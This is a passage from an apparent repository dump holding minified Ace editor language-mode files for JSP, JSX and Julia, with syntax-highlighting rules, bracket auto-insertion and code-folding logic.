r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/jsp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jsp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jsp_highlight_rules\").JspHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.$id=\"ace/mode/jsp\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-jsx.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/jsx_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){var e=i.arrayToMap(\"break|do|instanceof|typeof|case|else|new|var|catch|finally|return|void|continue|for|switch|default|while|function|this|if|throw|delete|in|try|class|extends|super|import|from|into|implements|interface|static|mixin|override|abstract|final|number|int|string|boolean|variant|log|assert\".split(\"|\")),t=i.arrayToMap(\"null|true|false|NaN|Infinity|__FILE__|__LINE__|undefined\".split(\"|\")),n=i.arrayToMap(\"debugger|with|const|export|let|private|public|yield|protected|extern|native|as|operator|__fake__|__readonly__\".split(\"|\")),r=\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},s.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:[\"storage.type\",\"text\",\"entity.name.function\"],regex:\"(function)(\\\\s+)(\"+r+\")\"},{token:function(r){return r==\"this\"?\"variable.language\":r==\"function\"?\"storage.type\":e.hasOwnProperty(r)||n.hasOwnProperty(r)?\"keyword\":t.hasOwnProperty(r)?\"constant.language\":/^_?[A-Z][a-zA-Z0-9_]*$/.test(r)?\"language.support.class\":\"identifier\"},regex:r},{token:\"keyword.operator\",regex:\"!|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({<]\"},{token:\"paren.rparen\",regex:\"[\\\\])}>]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(u,o),t.JsxHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/jsx\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jsx_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";function f(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a}var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jsx_highlight_rules\").JsxHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode;r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/jsx\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-julia.js",
    "content": "define(\"ace/mode/julia_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#function_decl\"},{include:\"#function_call\"},{include:\"#type_decl\"},{include:\"#keyword\"},{include:\"#operator\"},{include:\"#number\"},{include:\"#string\"},{include:\"#comment\"}],\"#bracket\":[{token:\"keyword.bracket.julia\",regex:\"\\\\(|\\\\)|\\\\[|\\\\]|\\\\{|\\\\}|,\"}],\"#comment\":[{token:[\"punctuation.definition.comment.julia\",\"comment.line.number-sign.julia\"],regex:\"(#)(?!\\\\{)(.*$)\"}],\"#function_call\":[{token:[\"support.function.julia\",\"text\"],regex:\"([a-zA-Z0-9_]+!?)([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*\\\\()\"}],\"#function_decl\":[{token:[\"keyword.other.julia\",\"meta.function.julia\",\"entity.name.function.julia\",\"meta.function.julia\",\"text\"],regex:\"(function|macro)(\\\\s*)([a-zA-Z0-9_\\\\{]+!?)([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*)([(\\\\\\\\{])\"}],\"#keyword\":[{token:\"keyword.other.julia\",regex:\"\\\\b(?:function|type|immutable|macro|quote|abstract|bitstype|typealias|module|baremodule|new)\\\\b\"},{token:\"keyword.control.julia\",regex:\"\\\\b(?:if|else|elseif|while|for|in|begin|let|end|do|try|catch|finally|return|break|continue)\\\\b\"},{token:\"storage.modifier.variable.julia\",regex:\"\\\\b(?:global|local|const|export|import|importall|using)\\\\b\"},{token:\"variable.macro.julia\",regex:\"@[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\\\\b\"}],\"#number\":[{token:\"constant.numeric.julia\",regex:\"\\\\b0(?:x|X)[0-9a-fA-F]*|(?:\\\\b[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]*)?(?:im)?|\\\\bInf(?:32)?\\\\b|\\\\bNaN(?:32)?\\\\b|\\\\btrue\\\\b|\\\\bfalse\\\\b\"}],\"#operator\":[{token:\"keyword.operator.update.julia\",regex:\"=|:=|\\\\+=|-=|\\\\*=|/=|//=|\\\\.//=|\\\\.\\\\*=|\\\\\\\\=|\\\\.\\\\\\\\=|^=|\\\\.^=|%=|\\\\|=|&=|\\\\$=|<<=|>>=\"},{token:\"keyword.operator.ternary.julia\",regex:\"\\\\?|:\"},{token:\"keyword.operator.boolean.julia\",regex:\"\\\\|\\\\||&&|!\"},{token:\"keyword.operator.arrow.julia\",regex:\"->|<-|-->\"},{token:\"keyword.operator.relation.julia\",regex:\">|<|>=|<=|==|!=|\\\\.>|\\\\.<|\\\\.>=|\\\\.>=|\\\\.==|\\\\.!=|\\\\.=|\\\\.!|<:|:>\"},{token:\"keyword.operator.range.julia\",regex:\":\"},{token:\"keyword.operator.shift.julia\",regex:\"<<|>>\"},{token:\"keyword.operator.bitwise.julia\",regex:\"\\\\||\\\\&|~\"},{token:\"keyword.operator.arithmetic.julia\",regex:\"\\\\+|-|\\\\*|\\\\.\\\\*|/|\\\\./|//|\\\\.//|%|\\\\.%|\\\\\\\\|\\\\.\\\\\\\\|\\\\^|\\\\.\\\\^\"},{token:\"keyword.operator.isa.julia\",regex:\"::\"},{token:\"keyword.operator.dots.julia\",regex:\"\\\\.(?=[a-zA-Z])|\\\\.\\\\.+\"},{token:\"keyword.operator.interpolation.julia\",regex:\"\\\\$#?(?=.)\"},{token:[\"variable\",\"keyword.operator.transposed-variable.julia\"],regex:\"([\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+)((?:'|\\\\.')*\\\\.?')\"},{token:\"text\",regex:\"\\\\[|\\\\(\"},{token:[\"text\",\"keyword.operator.transposed-matrix.julia\"],regex:\"([\\\\]\\\\)])((?:'|\\\\.')*\\\\.?')\"}],\"#string\":[{token:\"punctuation.definition.string.begin.julia\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.julia\",regex:\"'\",next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.single.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:'\"',push:[{token:\"punctuation.definition.string.end.julia\",regex:'\"',next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.double.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:'\\\\b[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]+\"',push:[{token:\"punctuation.definition.string.end.julia\",regex:'\"[\\\\w\\\\xff-\\\\u218e\\\\u2455-\\\\uffff]*',next:\"pop\"},{include:\"#string_custom_escaped_char\"},{defaultToken:\"string.quoted.custom-double.julia\"}]},{token:\"punctuation.definition.string.begin.julia\",regex:\"`\",push:[{token:\"punctuation.definition.string.end.julia\",regex:\"`\",next:\"pop\"},{include:\"#string_escaped_char\"},{defaultToken:\"string.quoted.backtick.julia\"}]}],\"#string_custom_escaped_char\":[{token:\"constant.character.escape.julia\",regex:'\\\\\\\\\"'}],\"#string_escaped_char\":[{token:\"constant.character.escape.julia\",regex:\"\\\\\\\\(?:\\\\\\\\|[0-3]\\\\d{,2}|[4-7]\\\\d?|x[a-fA-F0-9]{,2}|u[a-fA-F0-9]{,4}|U[a-fA-F0-9]{,8}|.)\"}],\"#type_decl\":[{token:[\"keyword.control.type.julia\",\"meta.type.julia\",\"entity.name.type.julia\",\"entity.other.inherited-class.julia\",\"punctuation.separator.inheritance.julia\",\"entity.other.inherited-class.julia\"],regex:\"(type|immutable)(\\\\s+)([a-zA-Z0-9_]+)(?:(\\\\s*)(<:)(\\\\s*[.a-zA-Z0-9_:]+))?\"},{token:[\"other.typed-variable.julia\",\"support.type.julia\"],regex:\"([a-zA-Z0-9_]+)(::[a-zA-Z0-9_{}]+)\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"jl\"],firstLineMatch:\"^#!.*\\\\bjulia\\\\s*$\",foldingStartMarker:\"^\\\\s*(?:if|while|for|begin|function|macro|module|baremodule|type|immutable|let)\\\\b(?!.*\\\\bend\\\\b).*$\",foldingStopMarker:\"^\\\\s*(?:end)\\\\b.*$\",name:\"Julia\",scopeName:\"source.julia\"},r.inherits(s,i),t.JuliaHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var 